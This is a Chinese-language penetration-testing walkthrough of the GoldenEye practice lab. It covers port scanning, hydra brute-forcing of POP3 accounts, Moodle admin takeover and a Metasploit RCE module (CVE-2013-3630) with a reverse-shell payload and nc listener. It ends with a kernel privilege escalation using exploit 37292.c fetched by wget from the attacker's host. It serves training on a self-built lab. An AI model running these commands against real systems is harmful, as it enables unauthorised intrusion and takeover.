【网络安全】手把手给大家演练红队渗透项目
簡介
該項目是以偉大的詹姆斯邦德電影GoldenEye為主題創作的,目標是獲取最底層的flag.txt文本信息,該項目作為OSCP考試培訓必打的一個項目環境,該作者評定該環境為滲透中級水準難度。接下來不管是零基礎學習滲透者,還是有些基礎的滲透者,甚至是高水平的滲透人員讀該文章都能學習到一些紅隊的技巧和知識。
該項目有始有終會用到信息收集->暴力破解->遠程代碼注入->CMS RCE->提權,最終拿到flag.txt的過程,那么在五大模塊中用到了一些小技巧都會在文章中演示出來,希望大家能動手也來和我一起學習滲透。
請注意:
本文僅用于技術討論與研究,對于所有筆記中復現的這些終端或者服務器,都是自行搭建的環境進行滲透的。我將使用Kali Linux作為此次學習的攻擊者機器。這里使用的技術僅用于學習教育目的,如果列出的技術用于其他任何目標,本站及作者概不負責。
一、信息收集
信息收集非常重要,有了信息才能知道下一步該如何進行,接下來將用nmap來演示信息收集:
1、nmap挖掘信息
掃描挖掘本地的IP地址信息:
nmap -sS -sV -T5 -A 192.168.4.202
發現開放了25、80端口,25端口是SMTP端口服務,80端口掃描出了是烏班圖的系統,該apache的版本為2.4.7,接下來訪問下http的80端口。
2、挖掘HTTP服務
訪問:http://192.168.4.202,顯示的文本提示了一條線索,它說進入到/sev-home/目錄中。
User: UNKNOWN Naviagate to /sev-home/ to login訪問http://192.168.4.202/sev-home/結果需要登錄,這時候是沒有用戶名密碼信息的,繼續枚舉查找用戶名密碼信息!
這時候來到http主頁查看源碼:
3、挖掘JS信息
在http://192.168.4.202/頁面查看源代碼:
<script src="terminal.js"></script> 訪問:view-source:http://192.168.4.202/terminal.js
通過對話可知信息中存在兩個人名,以及告知了密碼信息。
獲得用戶名:Boris、Natalya
獲得密碼,可以看出是HTML加密:
4、HTML解密
解密的方法千萬種,該項目是第一個后面會有很多個項目給大家演示,先帶大家熟悉神器Burpsuiter解密HTML:kali自帶Burpsuiter工具
在Burpsuiter打開后在Decoder處進行HTML破解獲取:InvincibleHack3r
最終賬號密碼:
5、信息頁面枚舉
通過前面的兩個用戶名一次嘗試破解的HTML密碼信息,獲得了正確的用戶名密碼登錄http://192.168.4.202/sev-home/,登錄后進行信息枚舉:
F12調試界面發現信息
如圖所示:
意思該環境開啟了pop3 服務配置為在非常高的非默認端口上運行中,那還需要進行全端口的信息枚舉。
6、nmap全端口信息枚舉
從上面的消息中,我們可以了解到某個非默認端口上正在運行一個活動的POP3服務,進行nmap全端口掃描:
nmap -p- 192.168.4.202 (-p-:全端口掃描 -p3306:僅僅掃描3306端口) 55006/tcp open unknown 55007/tcp open unknown可看到發現了55006和55007開放中,但是無法知曉是什么service服務,進行版本信息枚舉。
7、nmap版本信息枚舉
發現55006,55007兩個開放的端口,掃描端口開啟的服務詳細信息:
nmap -sS -sV -T5 -A -p55006,55007 192.168.4.202
這段信息看出這兩個端口開放了pop3的mail服務,那么到此我們信息收集意見歸整,發現了對方的兩個用戶Boris、Natalya,以及開放了郵箱服務,那么肯定是有互相交往的郵件信息,接下來的目的就很明顯,知曉郵箱的賬號密碼登錄后枚舉信息。
二、暴力破解-信息枚舉
1、hydra暴力破解
接下來嘗試使用暴力破解,在上一步中找到的用戶名“boris”,通過Hydra暴力破解pop3服務:
echo -e 'natalya\nboris' > 12.txt ---將兩個用戶名寫入txt文本中通過用戶名密碼寫入文本:
然后進行hydra爆破:
-P 引用密碼文本
等待2~5分鐘后,成功爆破出natalya、boris用戶密碼信息。
獲得兩組賬號密碼:
[55007][pop3] host: 192.168.4.202 login: natalya password: bird [55007][pop3] host: 192.168.4.202 login: boris password: secret1! 用戶:boris 密碼:secret1! 用戶:natalya 密碼:bird2、信息收集
通過NC登錄pop3查看郵件信封內容枚舉,boris信息中有三封郵件信息,但是僅僅只是一些對話信息,在第二封郵件中提示了natalya給boris發送的郵件說了一句話:我已經獲得了你的密碼信息!那么接下來枚舉natalya郵件。
natalya用戶登錄郵件查看信息:
nc 192.168.4.202 55007 ---登錄郵箱 user natalya ---登錄用戶 pass bird ---登錄密碼 list ---查看郵件數量 retr 1~2 ---查看郵件內容
可看到在枚舉natalya郵件信息中,第二封郵件直接提示了用戶名密碼,并且內部存在域名,還提示需要在etc/hosts中指向域名才可以正常訪問。
3、設置本地HOSTS文件
HOSTS無論在windows還是linux環境下都是存在的,作用是將IP地址指向域名后,在本地訪問域名會調轉回IP地址信息可正常訪問頁面。
gedit /etc/hosts 192.168.4.202 severnaya-station.com
在最后加入該條信息就行了。
4、后臺信息收集
訪問severnaya-station.com/gnocertdir地址:
剛登陸界面我就看到了moodle,這是一個開源的CMS系統:
繼續點一點,發現要登陸,使用郵件獲得的用戶密碼進行登陸。點擊:Intro to GoldenEye可以進行登錄,使用natalya郵箱第二封郵件獲得的用戶名密碼登錄:
在信息枚舉:Home / ? My profile / ? Messages —>發現有一封郵件,內容發現用戶名doak:
發現了第三個用戶名信息。
5、暴力破解doak用戶
和之前暴力破解一樣的性質,繼續暴力破解doak用戶。
echo doak > 11.txt ---將用戶名寫入txt文本中 hydra -L 11.txt -P /usr/share/wordlists/fasttrack.txt 192.168.4.202 -s 55007 pop3  [55007][pop3] host: 192.168.4.202 login: doak password: goat 獲得用戶名密碼:doak/goat成功獲得了用戶名密碼,接下來登錄郵件查看下信息。
6、郵件信息枚舉
通過上面獲得的doak密碼繼續登錄郵件。
nc 192.168.4.202 55007 ---登錄郵箱 user doak ---登錄用戶 pass goat ---登錄密碼 list ---查看郵件數量 retr 1 ---查看郵件內容郵件消息說,為我們提供了更多登錄憑據以登錄到應用程序。讓我們嘗試使用這些憑據登錄。
用戶名:dr_doak 密碼:4England!7、使用新的賬戶密碼登錄CMS
登錄doak獲得的用戶名密碼信息后在:Home / ? My home 右邊發現: s3cret.txt文本信息,下載查看:
另外發現這是Moodle使用的2.2.3版本
txt文件指出管理員憑據已隱藏在映像文件中,讓我們在瀏覽器中打開圖像以查看其內容。
8、圖片隱寫信息枚舉
訪問頁面:severnaya-station.com/dir007key/for-007.jpg
下載到本地:
根據郵件提示讓我們檢查圖片內容,下載圖片后,我們可以使用:
三款最常用的工具查看jpg文件底層內容,利用exiftool(圖蟲)工具:
發現kali未安裝,先安裝:
exiftool獲取jpg文件底層內容:
可看到正常的信息顯示中存在一個base64的編碼信息。
或者用strings獲取jpg文件底層內容:
strings for-007.jpg
用以上命令都可以查看到base64編碼隱藏信息:
9、Base64解碼
使用Burpsuite破解獲得密碼:xWinter1995x!
在js文件線索中說,這是管理員用戶的密碼。管理員用戶身份繼續登陸應用程序。
10、admin后臺信息枚舉
通過獲得的admin用戶名密碼登錄:
這是Moodle使用的2.2.3版本,搜索了網上的可用漏洞。
發現可以利用CVE-2013-3630漏洞進行攻擊。
三、Getshell技巧
1、MSF拿shell
1)登錄MSF框架
此版本有許多漏洞利用,由于我們需要在目標計算機上進行交互訪問,因此我選擇使用遠程代碼執行(RCE)漏洞利用。利用msf框架:
msfconsole ---進入MSF框架攻擊界面 search moodle ---查找 moodle類型 攻擊的模塊
通過搜索moodle發現存在很多漏洞可利用,選擇CVE-2013-3630的exp就行。
2)利用漏洞拿shell
show option可以查看該exp腳本所需要的條件信息:
use 1 ---調用1 exploit/multi/http/moodle_cmd_exec調用攻擊腳本 set username admin ---設置用戶名:admin set password xWinter1995x! ---設置密碼:xWinter1995x! set rhost severnaya-station.com ---設置:rhosts severnaya-station.com set targeturi /gnocertdir ---設置目錄: /gnocertdir set payload cmd/unix/reverse ---設置payload:cmd/unix/reverse set lhost 192.168.4.227 ---設置:lhost 192.168.4.227(需要本地IP) exploit ----執行命令
可看到填入了URL、目錄、賬號密碼等信息后獲得shell,發現是普通用戶權限,那么接下來的思路就是提權了。
3)powershell設置
如果無法執行MSF獲得反彈shell,該腳本使用的是powershell命令,由于我們已經使用了管理員admin用戶登錄頁面,需要在設置中修改:
Home / ? Site administration / ? Plugins / ? Text editors / ? TinyMCE HTML editor
這只好save保存就行。
2、代碼執行反彈shell
通過MSF是可以拿到shell的,但是在后臺中還存在很多漏洞,接下來在演示一個利用遠程代碼執行命令反彈shell:
Home / ? Site administration / ? Server / ? System paths來到該頁面將一句話放入:
保存后當對方服務器環境在某個點觸發條件就會執行該命令,這時候在本地利用NC開啟監聽進行獲得交互shell:
nc -vlp 6666
這時候來到主頁去觸發下命令執行吧:
點擊打鉤處會進行回轉,這時候就已經遠程代碼執行觸發了,回到nc監聽處看看:
這時候就獲得了反彈shell,www-data權限的shell了。
四、提權
前面獲取的是低權限www-data用戶,需要提權為root才可以達到我們的最終目的。
1、內核提權
執行tty,因為獲得的權限無正常交互:
python -c 'import pty; pty.spawn("/bin/bash")' ---將shell進行tty uname -a # 查看權限 Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux谷歌搜索:Linux ubuntu 3.13.0-32 exploit
獲得exp版本:37292.c可進行利用進行內核提權。
2、kali內核腳本
搜索exp版本信息:
searchsploit 37292 ---搜索kali本地的exp庫中37292攻擊腳本信息 cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/ ---目錄可自行修改
kali是自帶很多EXP攻擊腳本的,直接搜索復制到本地。
3、CC編譯EXP
由于第一次操作上傳后,項目環境無gcc,存在CC環境需要改下腳本為cc:
gedit 37292.c ---文本打開 第143行將gcc改為cc ---編寫下
然后在本地目錄下開啟http服務:
這時候該37292.c攻擊提權腳本就在本目錄的HTTP底下,在項目環境執行wget下載文件并CC編譯就行。
4、內核提權Root
先通過wget下載文件到本地
wget http://192.168.4.222:8081/37292.c ---wget下載http服務下的文件
通過上傳腳本上去后,在exp界面就可看到用法執行cc編譯:
通過內核提權腳本,成功獲得了Root權限并獲得了flag.txt信息。
【點擊查看相關學習資料】
五、總結
通過以上的學習,我們認知了一些紅隊的小技巧的技術手段,完成了從信息收集到內核提權項目落地,學習到了非常多的技巧,例如nmap、hysra、pop3-nc、MSF、EXP等等的編譯和使用提權等,希望伙伴們能實際操作復現一遍!來鞏固自身的滲透技術和技巧!
希望大家提高安全意識,沒有網絡安全就沒有國家安全!
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的【网络安全】手把手给大家演练红队渗透项目的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何做好应急响应工作?常见应急响应流程
- 下一篇: 【网络安全】JAVA代码审计—— XXE